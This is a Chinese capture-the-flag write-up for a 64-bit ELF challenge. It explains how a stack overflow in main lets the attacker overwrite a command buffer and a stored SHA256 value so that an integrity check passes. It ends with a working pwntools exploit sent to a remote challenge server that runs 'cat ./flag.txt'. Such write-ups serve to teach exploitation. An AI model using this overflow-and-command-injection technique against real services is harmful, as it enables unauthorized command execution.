题目来源: 暂无
题目描述:机密
64位elf,程序保护全开
发现main函数此处存在栈溢出
程序会比较v15和v17,如果相等则会执行v14的命令
栈结构如上
v14最开始是"/bin/cat ./secret_data.asc",v15最开始是一串SHA256加密后的结果"9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127"
v17是v16的十六进制字符串表达
v16是dest[256]的SHA256加密
因此可以构造payload为,将dest[256]填满,然后v14放入想要执行的命令,末尾加上一个分号隔绝命令,之后再将v14填满,v15放入dest[256]的SHA256加密后的结果就能绕过检验了
exp如下:
from pwn import * import hashlib #io = process('./secret_file') io = remote('111.200.241.244', 50363) #payload = b'a' * 256 + b'ls;'.ljust(27, b'a') payload = b'a' * 256 + b'cat ./flag.txt;'.ljust(27, b'a') h = hashlib.sha256() h.update(b'a' * 256) payload += h.hexdigest().encode() io.sendline(payload) io.interactive()